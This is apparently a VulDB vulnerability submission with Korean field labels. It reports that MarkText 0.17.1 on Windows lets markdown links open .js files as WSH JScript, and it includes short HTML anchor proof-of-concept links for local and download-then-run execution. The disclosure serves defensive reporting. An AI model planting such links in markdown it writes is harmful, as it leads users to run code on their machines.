| 제목 | MarkText on Windows doesn't filter WSH JScript, which may cause code execution |
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| 설명 | Although marktext filters most dangeruos suffix, it still retains the .js file which will be recognized as WSH(Windows Script Host) JScript on Windows operating system. Users click on evil markdown file may cause code execution.
Version: 0.17.1(latest)
PoC
Local
<a href="poc.js">Click me to execute JScript</a>
Remote
<a href="http://127.0.0.1:8000/poc.html" download="poc.js">1.Click me to download JScript</a>
<a href="./poc.js">2.Click me to execute JScript</a>
For more details, please click the announcement. |
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| 원천 | ⚠️ https://github.com/marktext/marktext/issues/3575 |
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| 사용자 | Tom23 (UID 41413) |
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| 제출 | 2023. 02. 20. PM 01:15 (4 연령 ago) |
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| 모더레이션 | 2023. 02. 24. AM 08:56 (4 days later) |
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| 상태 | 수락 |
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| VulDB 항목 | 221737 [MarkText 까지 0.17.1 켜짐 Windows WSH JScript 권한 상승] |
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| 포인트들 | 20 |
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